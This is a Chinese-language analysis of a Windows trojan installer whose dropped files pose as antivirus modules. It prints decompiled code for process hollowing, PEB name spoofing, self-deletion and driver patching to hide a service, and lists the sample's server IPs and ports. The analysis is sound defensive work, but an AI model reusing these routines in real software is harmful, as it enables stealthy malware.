一份PC病毒分析

     

    目录

    基本信息

    简介

    详细分析:

    0x1、行为分析:

    0x2、具体功能动态静态结合分析:

    0x3、相关服务器信息

    预防及修复措施

    技术热点

    总结

     

    基本信息

    样本名称: 2.exe

    分析时间: 2016/5/6

    样本大小:76632 byte

    文件类型:Win32Nsis安装包文件

    病毒名称:Trojan.Win32.Downloader.gen

    样本MD5 9B007B49E2ECA6241110B13F7A9F70DC

    样本SHA1592F06169DC0BB24CB7C219593C27F84FA628C45

    加壳信息: 未加壳

    可能受感染系统:XPWIN7WIN8

    简介

    该病毒样本一个网络攻击程序,包括以下恶意行为:创建进程、创建互斥体、释放文件、修改文件属性、修改注册表、进程注入、修改启动项、获取用户主机信息、建立一个指定的套接字链接等恶意行为。

    详细分析:

    0x1、行为分析

    通过火绒剑行为分析:

    安装包文件在C:\WINDOWS\Temp\目录下释放三个exe文件,分别为aa.exebb.execc.exe

     

    启动cc.exe文件

     

    启动bb.exe

    cc.exe把自身exe文件拷贝到C:\WINDOWS\system32目录下并改名为WinHelp32.exe文件并设置隐藏属性,然后启动进程,自删除cc.exe

    启动aa.exe

    bbexe行为:拷贝自身exeC:\WINDOWS\system32目录下改名WinsHelps32.exe文件并设置隐藏属性,然后启动进程,自删除bb.exe

     

    提升权限

    aa.exe的行为:拷贝自身exe文件到C:\WINDOWS\system32目录下改名WinHelps32.exe文件并设置隐藏属性,然后启动进程,自删除aa.exe

    aa.exe的一些注册表操作,获取系统信息。

    WinsHelps32.exeWinHelp32.exe的行为分析

     

    跨进程读取写入数据操作,把进程注入到系统进程中,隐藏进程。

     

     

     

    Svchost.exe进程网络操作行为:指定地址端口网络套接字链接

    0x2、具体功能动态静态结合分析:

    1)使用7zip工具解压安装包文件得到三个EXE文件

    三个EXE文件都伪造为瑞星杀毒软件模块

     

     

     

    2)逐个分析功能:

     基本信息:

    aa.exe

    Size: 31744 bytes

    File Version: 21.0.0.17

    Modified: 201286, 21:34:04

    MD5: 72ACAA947EC66B9B1AF8B5BA4B7D9163

    SHA1: AB0AD72C08B1DDBDBFD2A4FC4BD8D9D9AA49EDDC

    bb.exe

     

    Size: 31744 bytes

    File Version: 21.0.0.17

    Modified: 201286, 21:41:08

    MD5: D928BDA5E2C2509D28B129D64E8672DB

    SHA1: CFC60AA2534624A6A76EFF93406AC18F3F0274BA

    cc.exe

     

    Size: 31744 bytes

    File Version: 21.0.0.17

    Modified: 2012920, 20:52:22

    MD5: F30526A9E882AC7C722BF726B5E8D804

    SHA1: 902990F283CF117E356246200322E1347E89D9E2

    通过PEID查看,这三个模块都未加壳,且均为VC++6.0编译;

     

     

     

     

     

     

     

    aa.exe详细分析:

    (1)aa.exe的程序流程分析

    通过静态分析和动态调试结合得出aa.exe基本运行流程如下图:

     

     aa.exe流程图

    2)主要行为分析:

    • WinMain()函数

    int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

    {

      HMODULE hKmon; // eax@1

      HANDLE hCurrentProcess; // eax@15

      int result; // eax@15

      char v7; // [sp+0h] [bp-328h]@1

      char v8; // [sp+1h] [bp-327h]@1

      char v9; // [sp+2h] [bp-326h]@1

      char v10; // [sp+3h] [bp-325h]@1

      char v11; // [sp+4h] [bp-324h]@1

      char v12; // [sp+5h] [bp-323h]@1

      char v13; // [sp+6h] [bp-322h]@1

      char v14; // [sp+7h] [bp-321h]@1

      char v15; // [sp+8h] [bp-320h]@1

      char v16; // [sp+9h] [bp-31Fh]@1

      char v17; // [sp+Ah] [bp-31Eh]@1

      SERVICE_TABLE_ENTRYA ServiceStartTable[2]; // [sp+Ch] [bp-31Ch]@24

      CHAR strPath[260]; // [sp+1Ch] [bp-30Ch]@10

      CHAR strFilePath[260]; // [sp+120h] [bp-208h]@4

      CHAR Filename[260]; // [sp+224h] [bp-104h]@14

      SetErrorMode(1u);

      v7 = 0x41;  v8 = 0x42;  v9 = 0x43;  v10 = 0x44;  v11 = 0x45;  v12 = 0x46;  v13 = 0x47;

      v14 = 0x48;  v15 = 0x49;  v16 = 0x4A;  v17 = 0x4B;

      sub_4047B0(String, 444, 1986, *(_DWORD *)&v7, *(_DWORD *)&v11, *(_DWORD *)&v15);

      sub_4047E0(String, 444, &v7, 11);             // //字符串加密

      hKmon = GetModuleHandleA(aKmon_dll);          // 获取kmon.dll模块句柄

      FreeLibrary(hKmon);                           // 卸载模块

      if ( dword_4085BC )                           // 动态调试0x004085BC处的值为0

      {

        if ( dword_4085BC == 1 )

        {

          GetExplorPath(strFilePath, 260);          // 获取exeplorer.exe的文件路径

          goto LABEL_7;

        }

        if ( dword_4085BC == 2 )

        {

          GetIExplorPath(strFilePath, 260);         // 获取iexplorer.exe的路径

          goto LABEL_7;

        }

      }

      GetSvchostPath(strFilePath, 260);             // 获取svchost.exe的路径

    LABEL_7:

      if ( dword_4085C0 )

      {

        if ( dword_4085C0 == 1 )

        {

          GetSysTemPath(strPath, 260);             

    // 在系统目录后面追加"\" [C:\WINDOWS\system32\]

        }

        else if ( dword_4085C0 == 2 )

        {

          GetWndDirPath(strPath, 260);             

    // 这个函数能获取Windows目录的完整路径名后面追加"\"

        }

        else

        {

          GetSysTemPath(strPath, 260);

        }

      }

      else

      {

    GetIEpath(strPath, 260);                   

    // 在系统目录后面追加 [C:\WINDOWS\system32\Program Files\Internet Explorer\]

      }

      lstrcatA(strPath, String2); // 链接路径为:C:\WINDOWS\system32\WinHelps32.exe

      GetModuleFileNameA(0, Filename, 260u);   // 获取当前模块路径

      if ( lstrcmpiA(Filename, strFilePath) )  // 不区分大小写比较路径字符串,如果不为[]

      {

    if ( lstrcmpiA(Filename, strPath) )        

    // 比较路径,当前进程名称不是C:\WINDOWS\system\WinHelps32.exe  

        // 就把该进程拷贝到系统目录下并修改名称为WinHelps32.exe然后启动

        // 系统目录下的那个进程,最后删除进程文件并结束该进程

        {

          if ( dword_4085C4 )                       // 动态调试0x4085C4值为1

            patchSys();                             // 修改PCIDump.sys驱动驱动

          if ( CopyFileA(Filename, strPath, 0) )    // 拷贝文件到系统目录下

          {

            SetFileAttributesA(strPath, 6u);        // 设置文件隐藏属性

            if ( !MyCreateProcess(strPath) )

    // 调用kernel32.dll模块下的CreateProcessInternal函数创建进程

              ShellExecuteA(0, Operation, strPath, 0, 0, 5);

    // 如果创建进程失败就调用ShellExcuteA函数开启进程

          }

          QuiteProcAndDeleteSelf();  // 通过调用SetPriortyClass实现退出进程自删除进程文件

          ExitProcess(0);

        }

        ServiceStartTable[0].lpServiceName = aZ;

    ServiceStartTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)ServiceMain;

    // 服务入口函数

        ServiceStartTable[1].lpServiceName = 0;

        ServiceStartTable[1].lpServiceProc = 0;

        if ( !StartServiceCtrlDispatcherA(ServiceStartTable) )

          StartService(aZ, DisplayName, aA, strPath);

    // 如果上面函数开启服务不成功就通过服务管理器开启服务,并修改相关注册表键值

        result = 0;

      }

      else

      {

        hCurrentProcess = GetCurrentProcess();

        SetPriorityClass(hCurrentProcess, 0x4000u);

        NetWorkOprator();                           // 网络操作行为

        result = 1;

      }

      return result;

    }

    修改PCIDump.sys驱动行为:

    signed int patchSys()

    {

      void *pBuf; // edi@1

      signed int result; // eax@2

      HANDLE v2; // eax@3

      void *v3; // esi@3

      DWORD nNumberOfBytesToWrite; // [sp+Ch] [bp-104h]@1

      CHAR szFileName[256]; // [sp+10h] [bp-100h]@1

     

      memset(szFileName, 0, sizeof(szFileName));

      nNumberOfBytesToWrite = 0;

      GetSystemDirectoryA(szFileName, 0x100u);  // 获取系统目录[C:\WINDOWS\system]

      strcat(szFileName, aDriversPcidump);       // 路径拼接[C:\WINDOWS\system\drivers\PCIDump.sys]

      puts(szFileName);

      SetFileAttributesA(szFileName, 0x80u);

      pBuf = MyReadFile(szFileName, (int)&nNumberOfBytesToWrite);// 读取PCIDump.sys驱动文件内容

      if ( MyWriteFile(szFileName, aMzr, 4352u) ) // 新写入一个PE病毒文件到PCIDump.sys驱动文件中

      {

        StarService(0);                      // 打开服务PCIDump

        v2 = startServiceAndCreateFile();       // 启动驱动服务并打开\\\\.\\Dark2118文件返回文件句丙

        v3 = v2;

    if ( v2 == (HANDLE)-1 ) 

    // 如果返回的文件句炳为-1则加在驱动失败.推断加载驱动服务会创建\\\\.\\Dark2118文件

        {

          puts(aLoadDriverFail);

          result = -1;

        }

        else

        {

          HideService(v2);  // 内核SSDTHOOK KeServiceDescriptorTable隐藏服务名称

          StarService(v3);  // 启动服务

          if ( pBuf )

          {

            MyWriteFile(szFileName, pBuf, nNumberOfBytesToWrite);

    // 恢复原始的PCIDump.sys文件内容

            operator delete(pBuf);

          }

          result = 0;

        }

      }

      else

      {

        result = -1;

      }

      return result;

    }

    拷贝到PCIDump.sys驱动的PE格式数据

    实现程序自删除代码片段:

     

      if ( GetEnvironmentVariableA(Name, &Buffer, 0x104u)// 获取COMPAS进程环境

        && GetModuleFileNameA(0, &Filename, 0x104u)

        && GetShortPathNameA(&Filename, &Filename, 0x104u)

        && (Sleep(1u),

            strcpy(&String1, aCDel),

            lstrcatA(&String1, &Filename),

            strcat(&String1, aNul),

            lstrcatA(&Buffer, &String1),

            ProcessInformation.hThread = 0,

            ProcessInformation.dwProcessId = 0,

            memset(&StartupInfo.lpReserved, 0, 0x40u),

            ProcessInformation.hProcess = 0,

            ProcessInformation.dwThreadId = 0,

            StartupInfo.cb = 68,

            StartupInfo.dwFlags = 1,

            StartupInfo.wShowWindow = 0,

            v0 = GetCurrentProcess(),

            SetPriorityClass(v0, 0x100u),                            

     // 设置本程序进程的执行级别为实时执行,这本程序马上获取CPU执行权,快速退出。

            v1 = GetCurrentThread(),

            SetThreadPriority(v1, 15),

            CreateProcessA(0, &Buffer, 0, 0, 0, 0xCu, 0, 0, &StartupInfo, &ProcessInformation)) )

      {

    SetPriorityClass(ProcessInformation.hProcess, 0x40u);

    // 设置命令行进程的执行级别为空闲执行,这使本程序有足够的时间从内存中退出。

        SetThreadPriority(ProcessInformation.hThread, -15);

        ResumeThread(ProcessInformation.hThread);

        result = 1;

      }

    服务例程回调函数:

     

      ServiceStatus.dwServiceType = 48;

      ServiceStatus.dwCurrentState = 2;

      ServiceStatus.dwControlsAccepted = 3;

      ServiceStatus.dwServiceSpecificExitCode = 0;

      ServiceStatus.dwWaitHint = 0;

      ServiceStatus.dwCheckPoint = 0;

      ServiceStatus.dwWin32ExitCode = 0;

      hServiceStatus = RegisterServiceCtrlHandlerA(aZ, HandlerProc);

      ServiceStatus.dwCurrentState = 4;

      ServiceStatus.dwWaitHint = 0;

      ServiceStatus.dwCheckPoint = 0;

      SetServiceStatus(hServiceStatus, &ServiceStatus);

      if ( dword_4085C4 )

        patchSys();

      GetDnsFlushResolveCacheAddr();                // 获取DnsFlushResolveCache函数并调用

      if ( !dword_4085BC )

        goto LABEL_15;

      if ( dword_4085BC == 1 )

      {

        GetExplorPath(strFileName, 260);            // 获取explorer.exe的路径

        goto LABEL_9;

      }

      if ( dword_4085BC != 2 )

      {

    LABEL_15:

        GetSvchostPath(strFileName, 260);           // 获取svchost.exe的路径

        goto LABEL_9;

      }

      GetIExplorPath(strFileName, 260);             // 获取iexplorer.exe的路径

    LABEL_9:

      GetModuleFileNameA(0, strFilePath, 260u);     // 获取当前进程模块的路径[C:\SYSTEM\Temp\aa.exe]

      GetVirtualAllocExAddr((FARPROC *)&fnVirualAllocEx);// 获取VirtualAllocEx函数地址

      v9 = 0;

      dwTargetPid = 0;

      v2 = InjectTargetProcess(&fnVirualAllocEx, strFilePath, strFileName, (DWORD *)&dwTargetPid);

    // 启动目标并将aa.exe压缩后注入到目标进程中,

      // 并恢复目标进程运行获取进程PID

      if ( v2 && v2 != (HANDLE)-1 )

        ExitProcess(0);

      ChangePebInfo();// 修改当前进程的PEB信息,把进程名称修改为[C:\WINDOWS\system\svchost.exe]

      v3 = GetCurrentProcess();

      SetPriorityClass(v3, 0x4000u);  // 设置当前进程优先级为:CREATE_PROTECTED_PROCESS

      NetWorkOprator();           // 网络操作行为,包括创建一个线程,进行网络操作

      v9 = -1;

      return nullsub_1(&fnVirualAllocEx);

    }

    将本进程注入目标傀儡进程实现进程隐藏功能函数:

    HANDLE __thiscall InjectHostProcess(_DWORD *this, LPSTR lpCommandLine, int a3, int a4, LPCVOID lpBuffer, SIZE_T nSize, int *ProcessId)

    {

      _DWORD *fnVirualAllocEx; // esi@1

      int v8; // eax@11

      void *v9; // eax@14

      HANDLE v10; // edx@14

      HANDLE hProcess; // [sp+28h] [bp-2E4h]@1

      void *Buffer; // [sp+2Ch] [bp-2E0h]@2

      HANDLE hThread; // [sp+30h] [bp-2DCh]@1

      DWORD flOldProtect; // [sp+34h] [bp-2D8h]@4

      LPVOID lpbuf; // [sp+38h] [bp-2D4h]@1

      SIZE_T dwSize; // [sp+3Ch] [bp-2D0h]@1

      CONTEXT Context; // [sp+40h] [bp-2CCh]@1

     

      fnVirualAllocEx = this;

      hProcess = (HANDLE)-1;

      if ( !CreateProcAndGetInfo(

              lpCommandLine,

              &Context,

              (int)&hProcess,

              (int)&hThread,

              (int)ProcessId,

              &lpbuf,

              (int)&dwSize) )

    return hProcess;

    // 根据命令行参数获取挂起方式打开进程(explorer.exe,iexplorer.exe,svchost.exe

        // 并获取进程的相关信息(进程ID,句柄,线程ID,线程句柄,模块基址)

      Buffer = 0;

      if ( *(LPVOID *)(a3 + 0x34) == lpbuf && dwSize >= nSize )

      {

        Buffer = lpbuf;                             // 获取目标进程空间buf

        VirtualProtectEx(hProcess, lpbuf, dwSize, 0x40u, &flOldProtect);// 修改目标进程内存属性

        goto LABEL_13;

      }

      if ( !*fnVirualAllocEx )

        goto LABEL_19;

      if ( MyZwUnmapViewOfSection((int)hProcess, (int)lpbuf) )

        Buffer = (void *)((int (__stdcall *)(HANDLE, _DWORD, SIZE_T, signed int, signed int))*fnVirualAllocEx)(

                           hProcess,

                           *(_DWORD *)(a3 + 0x34),

                           nSize,

                           0x3000,

                           0x40);

      if ( !Buffer )

      {

        if ( !*(_DWORD *)(a3 + 160) )

          goto LABEL_19;

        if ( !*(_DWORD *)(a3 + 164) )

          goto LABEL_19;

        v8 = ((int (__stdcall *)(HANDLE, _DWORD, SIZE_T, signed int, signed int))*fnVirualAllocEx)(

               hProcess,

               0,

               nSize,

               0x3000,

               0x40);

        Buffer = (void *)v8;

        if ( !v8 )

          goto LABEL_19;

        sub_404EC0(a3, (int)lpBuffer, v8);

    LABEL_13:

        if ( Buffer )

          goto LABEL_14;

    LABEL_19:

        TerminateProcess(hProcess, 0);

        CloseHandle(hThread);

        CloseHandle(hProcess);

        hProcess = (HANDLE)-1;

        CloseHandle(hThread);

        return hProcess;

      }

    LABEL_14:

      WriteProcessMemory(hProcess, (LPVOID)(Context.Ebx + 8), &Buffer, 4u, &flOldProtect);

    // ebx+8为需要注入程序模块基址,

    // 远程写入目标内存,重写加载基址为注入的exe基址

      v9 = Buffer;                                  // 新的加载基址

      v10 = hProcess;

      *(_DWORD *)(a3 + 52) = Buffer;

      if ( !WriteProcessMemory(v10, v9, lpBuffer, nSize, &flOldProtect) )// 写入注入程序到目标进程中

        goto LABEL_19;

      Context.ContextFlags = 0x10007;

      if ( Buffer == lpbuf )

        Context.Eax = *(_DWORD *)(a3 + 52) + *(_DWORD *)(a3 + 40);

      else

        Context.Eax = (DWORD)Buffer + *(_DWORD *)(a3 + 40);

      SetThreadContext(hThread, &Context);          // 设置线程上下文

      ResumeThread(hThread);                        // 恢复线程

      CloseHandle(hThread);

      CloseHandle(hThread);

      return hProcess;

    }

    通过PEB修改进程名称,隐藏进程

    WCHAR **ChangePebInfo()

    {

      char *v0; // eax@1

      int v1; // ecx@1

      char v2; // dl@2

      int v3; // eax@3

      WCHAR **v4; // eax@3

      WCHAR **result; // eax@3

      char Buffer[64]; // [sp+Ch] [bp-40h]@1

      GetSystemDirectoryA(Buffer, 0x40u);          // 获取系统目录[C:\WINDOWS\System32\]

      strcat(Buffer, aSvchost_exe);                 // 路径拼接[C:\WINDOWS\system32\Svchost.exe]

      v0 = (char *)&UName + 1;

      v1 = 0;

      do

      {

        v2 = Buffer[v1++];

        *(v0 - 1) = v2;

        *v0 = 0;

        v0 += 2;

      }

      while ( (signed int)v0 < (signed int)&dword_408A78 + 1 );// ASCIIUnicode

      v3 = *(_DWORD *)(*(_DWORD *)(__readfsdword(0x30) + 0xC) + 0xC);

    // 通过FS寄存器获取LDR_DATA_TABLE_ENTRY首地址

      *(_WORD *)(v3 + 0x24) = 0x60;

      *(_DWORD *)(v3 + 0x28) = &UName;              // 修改PEB结构中FullDllName

      v4 = (WCHAR **)(*(_DWORD *)(__readfsdword(0x30) + 0x10) + 0x3C);

      *v4 = &UName;

      *((_WORD *)v4 - 2) = 0x60;                  

     // 修改_RTL_USER_PROCESS_PARAMETERS ProcessParameters参数

      result = (WCHAR **)(*(_DWORD *)(__readfsdword(0x30) + 0x10) + 0x44);

      *result = &UName;                             // 修改命令行参数

      *((_WORD *)result - 2) = 0x60;

      return result;

    }

    网络操作行为:

    HANDLE v0; // esi@1

      HANDLE v2; // esi@4

      struct WSAData WSAData; // [sp+10h] [bp-190h]@3

     

      v0 = CreateMutexA(0, 0, String);              // 创建互斥体,防止进程多开

      if ( GetLastError() != 0xB7 )

      {

        WSAStartup(0x202u, &WSAData);               // 初始化套接字环境

        while ( 1 )

        {

          v2 = CreateThread(0, 0, ThreadProc, 0, 0, 0);// 循环创建线程,网络访问链接

          WaitForSingleObject(v2, 0xFFFFFFFF);

          CloseHandle(v2);

          Sleep(10000u);                            // 10000ms

        }

      }

      return CloseHandle(v0);

    分析子线程:

    。。。

    通过接收到的操作码分不同的网络访问请求

    根据创建的子线程进行网络分文,高度怀疑为DDOS攻击行为:

    比如循环向指定地址发送垃圾数据:

     

    还有发送网络访问请求:

    发送的数据报格式1

    发送的数据包格式2

     

     

    经分析bb.execc.exe都和aa.exe功能基本一致,唯一区别在于bb.exe把自身拷贝到系统目录C:\WINDOWS\system32下并修改名称为WinsHelps32.exe;而cc.exe把名称修改为WinHelp32.exe;还有链接的地址和端口不同,其他功能都一致。

    0x3、相关服务器信息

    通过分析3exe程序分别向三个不同的IP地址发起链接请求分别为:

    58.158.177.1029999

    204.11.56.488888

    107.167.19.747777

    预防及修复措施

    1. 不要下载安装来历不明的软件
    2. 安装杀毒软件,并且开启系统文件保护功能
    3. 如果中了此病毒,可以删除系统文件夹目录[C:\WINDOWS\system32\]下隐藏的WinHelp32.exeWinsHelps32.exeWinHelps32.exe文件然后重启电脑。

    技术热点

    1. 程序自删除技术
    2. 注入exe到傀儡进程中
    3. 通过PEB修改进程信息

    总结

    同过上面分析,可以确定该病毒一个网络攻击程序,主要行为如下:

    0x0:安装包文件释放3exe文件到系统临时文件中并依启动三个进程;

    0x1:卸载杀毒软件模块,是杀毒软件失效;

    0x2:将进程对应程序拷贝到系统目录下,并设置隐藏属性,修改程序名称伪装成系统文件,然后删除系统临时文件下的exe源程序;

    0x3:将病毒文件注入到系统进程中,躲避杀毒软件查杀;

    0x4:以服务方式启动傀儡进程;

    0x5:通过获取进程PEB修改进程名称与系统进程同名,躲避文件管理器等工具查看;

    0x6:通过网络链接服务程序,获取操作码,向指定地址发送垃圾数据或者不间断访问请求;

    通过上面分析,该病毒应该是一个半成品病毒,却少病毒更新功能,基本没有免杀措施。


你可能感兴趣的:(一份PC病毒分析)